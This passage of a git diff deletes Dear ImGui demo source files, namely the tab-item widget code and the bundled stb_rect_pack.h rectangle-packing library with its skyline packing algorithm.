PushStyleColor(ImGuiCol_Text, arrow_col); - PushStyleColor(ImGuiCol_Button, ImVec4(0, 0, 0, 0)); - bool open = BeginCombo("##v", NULL, ImGuiComboFlags_NoPreview | ImGuiComboFlags_HeightLargest); - PopStyleColor(2); - - ImGuiTabItem* tab_to_select = NULL; - if (open) - { - for (int tab_n = 0; tab_n < tab_bar->Tabs.Size; tab_n++) - { - ImGuiTabItem* tab = &tab_bar->Tabs[tab_n]; - if (tab->Flags & ImGuiTabItemFlags_Button) - continue; - - const char* tab_name = tab_bar->GetTabName(tab); - if (Selectable(tab_name, tab_bar->SelectedTabId == tab->ID)) - tab_to_select = tab; - } - EndCombo(); - } - - window->DC.CursorPos = backup_cursor_pos; - return tab_to_select; -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: BeginTabItem, EndTabItem, etc. -//------------------------------------------------------------------------- -// - BeginTabItem() -// - EndTabItem() -// - TabItemButton() -// - TabItemEx() [Internal] -// - SetTabItemClosed() -// - TabItemCalcSize() [Internal] -// - TabItemBackground() [Internal] -// - TabItemLabelAndCloseButton() [Internal] -//------------------------------------------------------------------------- - -bool ImGui::BeginTabItem(const char* label, bool* p_open, ImGuiTabItemFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return false; - - ImGuiTabBar* tab_bar = g.CurrentTabBar; - if (tab_bar == NULL) - { - IM_ASSERT_USER_ERROR(tab_bar, "Needs to be called between BeginTabBar() and EndTabBar()!"); - return false; - } - IM_ASSERT(!(flags & ImGuiTabItemFlags_Button)); // BeginTabItem() Can't be used with button flags, use TabItemButton() instead! - - bool ret = TabItemEx(tab_bar, label, p_open, flags); - if (ret && !(flags & ImGuiTabItemFlags_NoPushId)) - { - ImGuiTabItem* tab = &tab_bar->Tabs[tab_bar->LastTabItemIdx]; - PushOverrideID(tab->ID); // We already hashed 'label' so push into the ID stack directly instead of doing another hash through PushID(label) - } - return ret; -} - -void ImGui::EndTabItem() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return; - - ImGuiTabBar* tab_bar = g.CurrentTabBar; - if (tab_bar == NULL) - { - IM_ASSERT_USER_ERROR(tab_bar != NULL, "Needs to be called between BeginTabBar() and EndTabBar()!"); - return; - } - IM_ASSERT(tab_bar->LastTabItemIdx >= 0); - ImGuiTabItem* tab = &tab_bar->Tabs[tab_bar->LastTabItemIdx]; - if (!(tab->Flags & ImGuiTabItemFlags_NoPushId)) - PopID(); -} - -bool ImGui::TabItemButton(const char* label, ImGuiTabItemFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return false; - - ImGuiTabBar* tab_bar = g.CurrentTabBar; - if (tab_bar == NULL) - { - IM_ASSERT_USER_ERROR(tab_bar != NULL, "Needs to be called between BeginTabBar() and EndTabBar()!"); - return false; - } - return TabItemEx(tab_bar, label, NULL, flags | ImGuiTabItemFlags_Button | ImGuiTabItemFlags_NoReorder); -} - -bool ImGui::TabItemEx(ImGuiTabBar* tab_bar, const char* label, bool* p_open, ImGuiTabItemFlags flags) -{ - // Layout whole tab bar if not already done - if (tab_bar->WantLayout) - TabBarLayout(tab_bar); - - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return false; - - const ImGuiStyle& style = g.Style; - const ImGuiID id = TabBarCalcTabID(tab_bar, label); - - // If the user called us with *p_open == false, we early out and don't render. - // We make a call to ItemAdd() so that attempts to use a contextual popup menu with an implicit ID won't use an older ID. - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.LastItemStatusFlags); - if (p_open && !*p_open) - { - PushItemFlag(ImGuiItemFlags_NoNav | ImGuiItemFlags_NoNavDefaultFocus, true); - ItemAdd(ImRect(), id); - PopItemFlag(); - return false; - } - - IM_ASSERT(!p_open || !(flags & ImGuiTabItemFlags_Button)); - IM_ASSERT((flags & (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing)) != (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing)); // Can't use both Leading and Trailing - - // Store into ImGuiTabItemFlags_NoCloseButton, also honor ImGuiTabItemFlags_NoCloseButton passed by user (although not documented) - if (flags & ImGuiTabItemFlags_NoCloseButton) - p_open = NULL; - else if (p_open == NULL) - flags |= ImGuiTabItemFlags_NoCloseButton; - - // Calculate tab contents size - ImVec2 size = TabItemCalcSize(label, p_open != NULL); - - // Acquire tab data - ImGuiTabItem* tab = TabBarFindTabByID(tab_bar, id); - bool tab_is_new = false; - if (tab == NULL) - { - tab_bar->Tabs.push_back(ImGuiTabItem()); - tab = &tab_bar->Tabs.back(); - tab->ID = id; - tab->Width = size.x; - tab_bar->TabsAddedNew = true; - tab_is_new = true; - } - tab_bar->LastTabItemIdx = (ImS16)tab_bar->Tabs.index_from_ptr(tab); - tab->ContentWidth = size.x; - tab->BeginOrder = tab_bar->TabsActiveCount++; - - const bool tab_bar_appearing = (tab_bar->PrevFrameVisible + 1 < g.FrameCount); - const bool tab_bar_focused = (tab_bar->Flags & ImGuiTabBarFlags_IsFocused) != 0; - const bool tab_appearing = (tab->LastFrameVisible + 1 < g.FrameCount); - const bool is_tab_button = (flags & ImGuiTabItemFlags_Button) != 0; - tab->LastFrameVisible = g.FrameCount; - tab->Flags = flags; - - // Append name with zero-terminator - tab->NameOffset = (ImS16)tab_bar->TabsNames.size(); - tab_bar->TabsNames.append(label, label + strlen(label) + 1); - - // Update selected tab - if (tab_appearing && (tab_bar->Flags & ImGuiTabBarFlags_AutoSelectNewTabs) && tab_bar->NextSelectedTabId == 0) - if (!tab_bar_appearing || tab_bar->SelectedTabId == 0) - if (!is_tab_button) - tab_bar->NextSelectedTabId = id; // New tabs gets activated - if ((flags & ImGuiTabItemFlags_SetSelected) && (tab_bar->SelectedTabId != id)) // SetSelected can only be passed on explicit tab bar - if (!is_tab_button) - tab_bar->NextSelectedTabId = id; - - // Lock visibility - // (Note: tab_contents_visible != tab_selected... because CTRL+TAB operations may preview some tabs without selecting them!) - bool tab_contents_visible = (tab_bar->VisibleTabId == id); - if (tab_contents_visible) - tab_bar->VisibleTabWasSubmitted = true; - - // On the very first frame of a tab bar we let first tab contents be visible to minimize appearing glitches - if (!tab_contents_visible && tab_bar->SelectedTabId == 0 && tab_bar_appearing) - if (tab_bar->Tabs.Size == 1 && !(tab_bar->Flags & ImGuiTabBarFlags_AutoSelectNewTabs)) - tab_contents_visible = true; - - // Note that tab_is_new is not necessarily the same as tab_appearing! When a tab bar stops being submitted - // and then gets submitted again, the tabs will have 'tab_appearing=true' but 'tab_is_new=false'. - if (tab_appearing && (!tab_bar_appearing || tab_is_new)) - { - PushItemFlag(ImGuiItemFlags_NoNav | ImGuiItemFlags_NoNavDefaultFocus, true); - ItemAdd(ImRect(), id); - PopItemFlag(); - if (is_tab_button) - return false; - return tab_contents_visible; - } - - if (tab_bar->SelectedTabId == id) - tab->LastFrameSelected = g.FrameCount; - - // Backup current layout position - const ImVec2 backup_main_cursor_pos = window->DC.CursorPos; - - // Layout - const bool is_central_section = (tab->Flags & (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing)) == 0; - size.x = tab->Width; - if (is_central_section) - window->DC.CursorPos = tab_bar->BarRect.Min + ImVec2(IM_FLOOR(tab->Offset - tab_bar->ScrollingAnim), 0.0f); - else - window->DC.CursorPos = tab_bar->BarRect.Min + ImVec2(tab->Offset, 0.0f); - ImVec2 pos = window->DC.CursorPos; - ImRect bb(pos, pos + size); - - // We don't have CPU clipping primitives to clip the CloseButton (until it becomes a texture), so need to add an extra draw call (temporary in the case of vertical animation) - const bool want_clip_rect = is_central_section && (bb.Min.x < tab_bar->ScrollingRectMinX || bb.Max.x > tab_bar->ScrollingRectMaxX); - if (want_clip_rect) - PushClipRect(ImVec2(ImMax(bb.Min.x, tab_bar->ScrollingRectMinX), bb.Min.y - 1), ImVec2(tab_bar->ScrollingRectMaxX, bb.Max.y), true); - - ImVec2 backup_cursor_max_pos = window->DC.CursorMaxPos; - ItemSize(bb.GetSize(), style.FramePadding.y); - window->DC.CursorMaxPos = backup_cursor_max_pos; - - if (!ItemAdd(bb, id)) - { - if (want_clip_rect) - PopClipRect(); - window->DC.CursorPos = backup_main_cursor_pos; - return tab_contents_visible; - } - - // Click to Select a tab - ImGuiButtonFlags button_flags = ((is_tab_button ? ImGuiButtonFlags_PressedOnClickRelease : ImGuiButtonFlags_PressedOnClick) | ImGuiButtonFlags_AllowItemOverlap); - if (g.DragDropActive) - button_flags |= ImGuiButtonFlags_PressedOnDragDropHold; - bool hovered, held; - bool pressed = ButtonBehavior(bb, id, &hovered, &held, button_flags); - if (pressed && !is_tab_button) - tab_bar->NextSelectedTabId = id; - hovered |= (g.HoveredId == id); - - // Allow the close button to overlap unless we are dragging (in which case we don't want any overlapping tabs to be hovered) - if (g.ActiveId != id) - SetItemAllowOverlap(); - - // Drag and drop: re-order tabs - if (held && !tab_appearing && IsMouseDragging(0)) - { - if (!g.DragDropActive && (tab_bar->Flags & ImGuiTabBarFlags_Reorderable)) - { - // While moving a tab it will jump on the other side of the mouse, so we also test for MouseDelta.x - if (g.IO.MouseDelta.x < 0.0f && g.IO.MousePos.x < bb.Min.x) - { - if (tab_bar->Flags & ImGuiTabBarFlags_Reorderable) - TabBarQueueReorder(tab_bar, tab, -1); - } - else if (g.IO.MouseDelta.x > 0.0f && g.IO.MousePos.x > bb.Max.x) - { - if (tab_bar->Flags & ImGuiTabBarFlags_Reorderable) - TabBarQueueReorder(tab_bar, tab, +1); - } - } - } - -#if 0 - if (hovered && g.HoveredIdNotActiveTimer > TOOLTIP_DELAY && bb.GetWidth() < tab->ContentWidth) - { - // Enlarge tab display when hovering - bb.Max.x = bb.Min.x + IM_FLOOR(ImLerp(bb.GetWidth(), tab->ContentWidth, ImSaturate((g.HoveredIdNotActiveTimer - 0.40f) * 6.0f))); - display_draw_list = GetForegroundDrawList(window); - TabItemBackground(display_draw_list, bb, flags, GetColorU32(ImGuiCol_TitleBgActive)); - } -#endif - - // Render tab shape - ImDrawList* display_draw_list = window->DrawList; - const ImU32 tab_col = GetColorU32((held || hovered) ? ImGuiCol_TabHovered : tab_contents_visible ? (tab_bar_focused ? ImGuiCol_TabActive : ImGuiCol_TabUnfocusedActive) : (tab_bar_focused ? ImGuiCol_Tab : ImGuiCol_TabUnfocused)); - TabItemBackground(display_draw_list, bb, flags, tab_col); - RenderNavHighlight(bb, id); - - // Select with right mouse button. This is so the common idiom for context menu automatically highlight the current widget. - const bool hovered_unblocked = IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup); - if (hovered_unblocked && (IsMouseClicked(1) || IsMouseReleased(1))) - if (!is_tab_button) - tab_bar->NextSelectedTabId = id; - - if (tab_bar->Flags & ImGuiTabBarFlags_NoCloseWithMiddleMouseButton) - flags |= ImGuiTabItemFlags_NoCloseWithMiddleMouseButton; - - // Render tab label, process close button - const ImGuiID close_button_id = p_open ? GetIDWithSeed("#CLOSE", NULL, id) : 0; - bool just_closed; - bool text_clipped; - TabItemLabelAndCloseButton(display_draw_list, bb, flags, tab_bar->FramePadding, label, id, close_button_id, tab_contents_visible, &just_closed, &text_clipped); - if (just_closed && p_open != NULL) - { - *p_open = false; - TabBarCloseTab(tab_bar, tab); - } - - // Restore main window position so user can draw there - if (want_clip_rect) - PopClipRect(); - window->DC.CursorPos = backup_main_cursor_pos; - - // Tooltip (FIXME: Won't work over the close button because ItemOverlap systems messes up with HoveredIdTimer) - // We test IsItemHovered() to discard e.g. when another item is active or drag and drop over the tab bar (which g.HoveredId ignores) - if (text_clipped && g.HoveredId == id && !held && g.HoveredIdNotActiveTimer > g.TooltipSlowDelay && IsItemHovered()) - if (!(tab_bar->Flags & ImGuiTabBarFlags_NoTooltip) && !(tab->Flags & ImGuiTabItemFlags_NoTooltip)) - SetTooltip("%.*s", (int)(FindRenderedTextEnd(label) - label), label); - - IM_ASSERT(!is_tab_button || !(tab_bar->SelectedTabId == tab->ID && is_tab_button)); // TabItemButton should not be selected - if (is_tab_button) - return pressed; - return tab_contents_visible; -} - -// [Public] This is call is 100% optional but it allows to remove some one-frame glitches when a tab has been unexpectedly removed. -// To use it to need to call the function SetTabItemClosed() between BeginTabBar() and EndTabBar(). -// Tabs closed by the close button will automatically be flagged to avoid this issue. -void ImGui::SetTabItemClosed(const char* label) -{ - ImGuiContext& g = *GImGui; - bool is_within_manual_tab_bar = g.CurrentTabBar && !(g.CurrentTabBar->Flags & ImGuiTabBarFlags_DockNode); - if (is_within_manual_tab_bar) - { - ImGuiTabBar* tab_bar = g.CurrentTabBar; - ImGuiID tab_id = TabBarCalcTabID(tab_bar, label); - if (ImGuiTabItem* tab = TabBarFindTabByID(tab_bar, tab_id)) - tab->WantClose = true; // Will be processed by next call to TabBarLayout() - } -} - -ImVec2 ImGui::TabItemCalcSize(const char* label, bool has_close_button) -{ - ImGuiContext& g = *GImGui; - ImVec2 label_size = CalcTextSize(label, NULL, true); - ImVec2 size = ImVec2(label_size.x + g.Style.FramePadding.x, label_size.y + g.Style.FramePadding.y * 2.0f); - if (has_close_button) - size.x += g.Style.FramePadding.x + (g.Style.ItemInnerSpacing.x + g.FontSize); // We use Y intentionally to fit the close button circle. - else - size.x += g.Style.FramePadding.x + 1.0f; - return ImVec2(ImMin(size.x, TabBarCalcMaxTabWidth()), size.y); -} - -void ImGui::TabItemBackground(ImDrawList* draw_list, const ImRect& bb, ImGuiTabItemFlags flags, ImU32 col) -{ - // While rendering tabs, we trim 1 pixel off the top of our bounding box so they can fit within a regular frame height while looking "detached" from it. - ImGuiContext& g = *GImGui; - const float width = bb.GetWidth(); - IM_UNUSED(flags); - IM_ASSERT(width > 0.0f); - const float rounding = ImMax(0.0f, ImMin((flags & ImGuiTabItemFlags_Button) ? g.Style.FrameRounding : g.Style.TabRounding, width * 0.5f - 1.0f)); - const float y1 = bb.Min.y + 1.0f; - const float y2 = bb.Max.y - 1.0f; - draw_list->PathLineTo(ImVec2(bb.Min.x, y2)); - draw_list->PathArcToFast(ImVec2(bb.Min.x + rounding, y1 + rounding), rounding, 6, 9); - draw_list->PathArcToFast(ImVec2(bb.Max.x - rounding, y1 + rounding), rounding, 9, 12); - draw_list->PathLineTo(ImVec2(bb.Max.x, y2)); - draw_list->PathFillConvex(col); - if (g.Style.TabBorderSize > 0.0f) - { - draw_list->PathLineTo(ImVec2(bb.Min.x + 0.5f, y2)); - draw_list->PathArcToFast(ImVec2(bb.Min.x + rounding + 0.5f, y1 + rounding + 0.5f), rounding, 6, 9); - draw_list->PathArcToFast(ImVec2(bb.Max.x - rounding - 0.5f, y1 + rounding + 0.5f), rounding, 9, 12); - draw_list->PathLineTo(ImVec2(bb.Max.x - 0.5f, y2)); - draw_list->PathStroke(GetColorU32(ImGuiCol_Border), 0, g.Style.TabBorderSize); - } -} - -// Render text label (with custom clipping) + Unsaved Document marker + Close Button logic -// We tend to lock style.FramePadding for a given tab-bar, hence the 'frame_padding' parameter. -void ImGui::TabItemLabelAndCloseButton(ImDrawList* draw_list, const ImRect& bb, ImGuiTabItemFlags flags, ImVec2 frame_padding, const char* label, ImGuiID tab_id, ImGuiID close_button_id, bool is_contents_visible, bool* out_just_closed, bool* out_text_clipped) -{ - ImGuiContext& g = *GImGui; - ImVec2 label_size = CalcTextSize(label, NULL, true); - - if (out_just_closed) - *out_just_closed = false; - if (out_text_clipped) - *out_text_clipped = false; - - if (bb.GetWidth() <= 1.0f) - return; - - // In Style V2 we'll have full override of all colors per state (e.g. focused, selected) - // But right now if you want to alter text color of tabs this is what you need to do. -#if 0 - const float backup_alpha = g.Style.Alpha; - if (!is_contents_visible) - g.Style.Alpha *= 0.7f; -#endif - - // Render text label (with clipping + alpha gradient) + unsaved marker - const char* TAB_UNSAVED_MARKER = "*"; - ImRect text_pixel_clip_bb(bb.Min.x + frame_padding.x, bb.Min.y + frame_padding.y, bb.Max.x - frame_padding.x, bb.Max.y); - if (flags & ImGuiTabItemFlags_UnsavedDocument) - { - text_pixel_clip_bb.Max.x -= CalcTextSize(TAB_UNSAVED_MARKER, NULL, false).x; - ImVec2 unsaved_marker_pos(ImMin(bb.Min.x + frame_padding.x + label_size.x + 2, text_pixel_clip_bb.Max.x), bb.Min.y + frame_padding.y + IM_FLOOR(-g.FontSize * 0.25f)); - RenderTextClippedEx(draw_list, unsaved_marker_pos, bb.Max - frame_padding, TAB_UNSAVED_MARKER, NULL, NULL); - } - ImRect text_ellipsis_clip_bb = text_pixel_clip_bb; - - // Return clipped state ignoring the close button - if (out_text_clipped) - { - *out_text_clipped = (text_ellipsis_clip_bb.Min.x + label_size.x) > text_pixel_clip_bb.Max.x; - //draw_list->AddCircle(text_ellipsis_clip_bb.Min, 3.0f, *out_text_clipped ? IM_COL32(255, 0, 0, 255) : IM_COL32(0, 255, 0, 255)); - } - - // Close Button - // We are relying on a subtle and confusing distinction between 'hovered' and 'g.HoveredId' which happens because we are using ImGuiButtonFlags_AllowOverlapMode + SetItemAllowOverlap() - // 'hovered' will be true when hovering the Tab but NOT when hovering the close button - // 'g.HoveredId==id' will be true when hovering the Tab including when hovering the close button - // 'g.ActiveId==close_button_id' will be true when we are holding on the close button, in which case both hovered booleans are false - bool close_button_pressed = false; - bool close_button_visible = false; - if (close_button_id != 0) - if (is_contents_visible || bb.GetWidth() >= g.Style.TabMinWidthForCloseButton) - if (g.HoveredId == tab_id || g.HoveredId == close_button_id || g.ActiveId == tab_id || g.ActiveId == close_button_id) - close_button_visible = true; - if (close_button_visible) - { - ImGuiLastItemDataBackup last_item_backup; - const float close_button_sz = g.FontSize; - PushStyleVar(ImGuiStyleVar_FramePadding, frame_padding); - if (CloseButton(close_button_id, ImVec2(bb.Max.x - frame_padding.x * 2.0f - close_button_sz, bb.Min.y))) - close_button_pressed = true; - PopStyleVar(); - last_item_backup.Restore(); - - // Close with middle mouse button - if (!(flags & ImGuiTabItemFlags_NoCloseWithMiddleMouseButton) && IsMouseClicked(2)) - close_button_pressed = true; - - text_pixel_clip_bb.Max.x -= close_button_sz; - } - - // FIXME: if FramePadding is noticeably large, ellipsis_max_x will be wrong here (e.g. #3497), maybe for consistency that parameter of RenderTextEllipsis() shouldn't exist.. - float ellipsis_max_x = close_button_visible ? text_pixel_clip_bb.Max.x : bb.Max.x - 1.0f; - RenderTextEllipsis(draw_list, text_ellipsis_clip_bb.Min, text_ellipsis_clip_bb.Max, text_pixel_clip_bb.Max.x, ellipsis_max_x, label, NULL, &label_size); - -#if 0 - if (!is_contents_visible) - g.Style.Alpha = backup_alpha; -#endif - - if (out_just_closed) - *out_just_closed = close_button_pressed; -} - - -#endif // #ifndef IMGUI_DISABLE diff --git a/demos/DemoImGui/imstb_rectpack.h b/demos/DemoImGui/imstb_rectpack.h deleted file mode 100644 index ff2a85d..0000000 --- a/demos/DemoImGui/imstb_rectpack.h +++ /dev/null @@ -1,639 +0,0 @@ -// [DEAR IMGUI] -// This is a slightly modified version of stb_rect_pack.h 1.00. -// Those changes would need to be pushed into nothings/stb: -// - Added STBRP__CDECL -// Grep for [DEAR IMGUI] to find the changes. - -// stb_rect_pack.h - v1.00 - public domain - rectangle packing -// Sean Barrett 2014 -// -// Useful for e.g. packing rectangular textures into an atlas. -// Does not do rotation. -// -// Not necessarily the awesomest packing method, but better than -// the totally naive one in stb_truetype (which is primarily what -// this is meant to replace). -// -// Has only had a few tests run, may have issues. -// -// More docs to come. -// -// No memory allocations; uses qsort() and assert() from stdlib. -// Can override those by defining STBRP_SORT and STBRP_ASSERT. -// -// This library currently uses the Skyline Bottom-Left algorithm. -// -// Please note: better rectangle packers are welcome! Please -// implement them to the same API, but with a different init -// function. -// -// Credits -// -// Library -// Sean Barrett -// Minor features -// Martins Mozeiko -// github:IntellectualKitty -// -// Bugfixes / warning fixes -// Jeremy Jaussaud -// Fabian Giesen -// -// Version history: -// -// 1.00 (2019-02-25) avoid small space waste; gracefully fail too-wide rectangles -// 0.99 (2019-02-07) warning fixes -// 0.11 (2017-03-03) return packing success/fail result -// 0.10 (2016-10-25) remove cast-away-const to avoid warnings -// 0.09 (2016-08-27) fix compiler warnings -// 0.08 (2015-09-13) really fix bug with empty rects (w=0 or h=0) -// 0.07 (2015-09-13) fix bug with empty rects (w=0 or h=0) -// 0.06 (2015-04-15) added STBRP_SORT to allow replacing qsort -// 0.05: added STBRP_ASSERT to allow replacing assert -// 0.04: fixed minor bug in STBRP_LARGE_RECTS support -// 0.01: initial release -// -// LICENSE -// -// See end of file for license information. - -////////////////////////////////////////////////////////////////////////////// -// -// INCLUDE SECTION -// - -#ifndef STB_INCLUDE_STB_RECT_PACK_H -#define STB_INCLUDE_STB_RECT_PACK_H - -#define STB_RECT_PACK_VERSION 1 - -#ifdef STBRP_STATIC -#define STBRP_DEF static -#else -#define STBRP_DEF extern -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct stbrp_context stbrp_context; -typedef struct stbrp_node stbrp_node; -typedef struct stbrp_rect stbrp_rect; - -#ifdef STBRP_LARGE_RECTS -typedef int stbrp_coord; -#else -typedef unsigned short stbrp_coord; -#endif - -STBRP_DEF int stbrp_pack_rects (stbrp_context *context, stbrp_rect *rects, int num_rects); -// Assign packed locations to rectangles. The rectangles are of type -// 'stbrp_rect' defined below, stored in the array 'rects', and there -// are 'num_rects' many of them. -// -// Rectangles which are successfully packed have the 'was_packed' flag -// set to a non-zero value and 'x' and 'y' store the minimum location -// on each axis (i.e. bottom-left in cartesian coordinates, top-left -// if you imagine y increasing downwards). Rectangles which do not fit -// have the 'was_packed' flag set to 0. -// -// You should not try to access the 'rects' array from another thread -// while this function is running, as the function temporarily reorders -// the array while it executes. -// -// To pack into another rectangle, you need to call stbrp_init_target -// again. To continue packing into the same rectangle, you can call -// this function again. Calling this multiple times with multiple rect -// arrays will probably produce worse packing results than calling it -// a single time with the full rectangle array, but the option is -// available. -// -// The function returns 1 if all of the rectangles were successfully -// packed and 0 otherwise. - -struct stbrp_rect -{ - // reserved for your use: - int id; - - // input: - stbrp_coord w, h; - - // output: - stbrp_coord x, y; - int was_packed; // non-zero if valid packing - -}; // 16 bytes, nominally - - -STBRP_DEF void stbrp_init_target (stbrp_context *context, int width, int height, stbrp_node *nodes, int num_nodes); -// Initialize a rectangle packer to: -// pack a rectangle that is 'width' by 'height' in dimensions -// using temporary storage provided by the array 'nodes', which is 'num_nodes' long -// -// You must call this function every time you start packing into a new target. -// -// There is no "shutdown" function. The 'nodes' memory must stay valid for -// the following stbrp_pack_rects() call (or calls), but can be freed after -// the call (or calls) finish. -// -// Note: to guarantee best results, either: -// 1. make sure 'num_nodes' >= 'width' -// or 2. call stbrp_allow_out_of_mem() defined below with 'allow_out_of_mem = 1' -// -// If you don't do either of the above things, widths will be quantized to multiples -// of small integers to guarantee the algorithm doesn't run out of temporary storage. -// -// If you do #2, then the non-quantized algorithm will be used, but the algorithm -// may run out of temporary storage and be unable to pack some rectangles. - -STBRP_DEF void stbrp_setup_allow_out_of_mem (stbrp_context *context, int allow_out_of_mem); -// Optionally call this function after init but before doing any packing to -// change the handling of the out-of-temp-memory scenario, described above. -// If you call init again, this will be reset to the default (false). - - -STBRP_DEF void stbrp_setup_heuristic (stbrp_context *context, int heuristic); -// Optionally select which packing heuristic the library should use. Different -// heuristics will produce better/worse results for different data sets. -// If you call init again, this will be reset to the default. - -enum -{ - STBRP_HEURISTIC_Skyline_default=0, - STBRP_HEURISTIC_Skyline_BL_sortHeight = STBRP_HEURISTIC_Skyline_default, - STBRP_HEURISTIC_Skyline_BF_sortHeight -}; - - -////////////////////////////////////////////////////////////////////////////// -// -// the details of the following structures don't matter to you, but they must -// be visible so you can handle the memory allocations for them - -struct stbrp_node -{ - stbrp_coord x,y; - stbrp_node *next; -}; - -struct stbrp_context -{ - int width; - int height; - int align; - int init_mode; - int heuristic; - int num_nodes; - stbrp_node *active_head; - stbrp_node *free_head; - stbrp_node extra[2]; // we allocate two extra nodes so optimal user-node-count is 'width' not 'width+2' -}; - -#ifdef __cplusplus -} -#endif - -#endif - -////////////////////////////////////////////////////////////////////////////// -// -// IMPLEMENTATION SECTION -// - -#ifdef STB_RECT_PACK_IMPLEMENTATION -#ifndef STBRP_SORT -#include -#define STBRP_SORT qsort -#endif - -#ifndef STBRP_ASSERT -#include -#define STBRP_ASSERT assert -#endif - -// [DEAR IMGUI] Added STBRP__CDECL -#ifdef _MSC_VER -#define STBRP__NOTUSED(v) (void)(v) -#define STBRP__CDECL __cdecl -#else -#define STBRP__NOTUSED(v) (void)sizeof(v) -#define STBRP__CDECL -#endif - -enum -{ - STBRP__INIT_skyline = 1 -}; - -STBRP_DEF void stbrp_setup_heuristic(stbrp_context *context, int heuristic) -{ - switch (context->init_mode) { - case STBRP__INIT_skyline: - STBRP_ASSERT(heuristic == STBRP_HEURISTIC_Skyline_BL_sortHeight || heuristic == STBRP_HEURISTIC_Skyline_BF_sortHeight); - context->heuristic = heuristic; - break; - default: - STBRP_ASSERT(0); - } -} - -STBRP_DEF void stbrp_setup_allow_out_of_mem(stbrp_context *context, int allow_out_of_mem) -{ - if (allow_out_of_mem) - // if it's ok to run out of memory, then don't bother aligning them; - // this gives better packing, but may fail due to OOM (even though - // the rectangles easily fit). @TODO a smarter approach would be to only - // quantize once we've hit OOM, then we could get rid of this parameter. - context->align = 1; - else { - // if it's not ok to run out of memory, then quantize the widths - // so that num_nodes is always enough nodes. - // - // I.e. num_nodes * align >= width - // align >= width / num_nodes - // align = ceil(width/num_nodes) - - context->align = (context->width + context->num_nodes-1) / context->num_nodes; - } -} - -STBRP_DEF void stbrp_init_target(stbrp_context *context, int width, int height, stbrp_node *nodes, int num_nodes) -{ - int i; -#ifndef STBRP_LARGE_RECTS - STBRP_ASSERT(width <= 0xffff && height <= 0xffff); -#endif - - for (i=0; i < num_nodes-1; ++i) - nodes[i].next = &nodes[i+1]; - nodes[i].next = NULL; - context->init_mode = STBRP__INIT_skyline; - context->heuristic = STBRP_HEURISTIC_Skyline_default; - context->free_head = &nodes[0]; - context->active_head = &context->extra[0]; - context->width = width; - context->height = height; - context->num_nodes = num_nodes; - stbrp_setup_allow_out_of_mem(context, 0); - - // node 0 is the full width, node 1 is the sentinel (lets us not store width explicitly) - context->extra[0].x = 0; - context->extra[0].y = 0; - context->extra[0].next = &context->extra[1]; - context->extra[1].x = (stbrp_coord) width; -#ifdef STBRP_LARGE_RECTS - context->extra[1].y = (1<<30); -#else - context->extra[1].y = 65535; -#endif - context->extra[1].next = NULL; -} - -// find minimum y position if it starts at x1 -static int stbrp__skyline_find_min_y(stbrp_context *c, stbrp_node *first, int x0, int width, int *pwaste) -{ - stbrp_node *node = first; - int x1 = x0 + width; - int min_y, visited_width, waste_area; - - STBRP__NOTUSED(c); - - STBRP_ASSERT(first->x <= x0); - - #if 0 - // skip in case we're past the node - while (node->next->x <= x0) - ++node; - #else - STBRP_ASSERT(node->next->x > x0); // we ended up handling this in the caller for efficiency - #endif - - STBRP_ASSERT(node->x <= x0); - - min_y = 0; - waste_area = 0; - visited_width = 0; - while (node->x < x1) { - if (node->y > min_y) { - // raise min_y higher. - // we've accounted for all waste up to min_y, - // but we'll now add more waste for everything we've visted - waste_area += visited_width * (node->y - min_y); - min_y = node->y; - // the first time through, visited_width might be reduced - if (node->x < x0) - visited_width += node->next->x - x0; - else - visited_width += node->next->x - node->x; - } else { - // add waste area - int under_width = node->next->x - node->x; - if (under_width + visited_width > width) - under_width = width - visited_width; - waste_area += under_width * (min_y - node->y); - visited_width += under_width; - } - node = node->next; - } - - *pwaste = waste_area; - return min_y; -} - -typedef struct -{ - int x,y; - stbrp_node **prev_link; -} stbrp__findresult; - -static stbrp__findresult stbrp__skyline_find_best_pos(stbrp_context *c, int width, int height) -{ - int best_waste = (1<<30), best_x, best_y = (1 << 30); - stbrp__findresult fr; - stbrp_node **prev, *node, *tail, **best = NULL; - - // align to multiple of c->align - width = (width + c->align - 1); - width -= width % c->align; - STBRP_ASSERT(width % c->align == 0); - - // if it can't possibly fit, bail immediately - if (width > c->width || height > c->height) { - fr.prev_link = NULL; - fr.x = fr.y = 0; - return fr; - } - - node = c->active_head; - prev = &c->active_head; - while (node->x + width <= c->width) { - int y,waste; - y = stbrp__skyline_find_min_y(c, node, node->x, width, &waste); - if (c->heuristic == STBRP_HEURISTIC_Skyline_BL_sortHeight) { // actually just want to test BL - // bottom left - if (y < best_y) { - best_y = y; - best = prev; - } - } else { - // best-fit - if (y + height <= c->height) { - // can only use it if it first vertically - if (y < best_y || (y == best_y && waste < best_waste)) { - best_y = y; - best_waste = waste; - best = prev; - } - } - } - prev = &node->next; - node = node->next; - } - - best_x = (best == NULL) ? 0 : (*best)->x; - - // if doing best-fit (BF), we also have to try aligning right edge to each node position - // - // e.g, if fitting - // - // ____________________ - // |____________________| - // - // into - // - // | | - // | ____________| - // |____________| - // - // then right-aligned reduces waste, but bottom-left BL is always chooses left-aligned - // - // This makes BF take about 2x the time - - if (c->heuristic == STBRP_HEURISTIC_Skyline_BF_sortHeight) { - tail = c->active_head; - node = c->active_head; - prev = &c->active_head; - // find first node that's admissible - while (tail->x < width) - tail = tail->next; - while (tail) { - int xpos = tail->x - width; - int y,waste; - STBRP_ASSERT(xpos >= 0); - // find the left position that matches this - while (node->next->x <= xpos) { - prev = &node->next; - node = node->next; - } - STBRP_ASSERT(node->next->x > xpos && node->x <= xpos); - y = stbrp__skyline_find_min_y(c, node, xpos, width, &waste); - if (y + height <= c->height) { - if (y <= best_y) { - if (y < best_y || waste < best_waste || (waste==best_waste && xpos < best_x)) { - best_x = xpos; 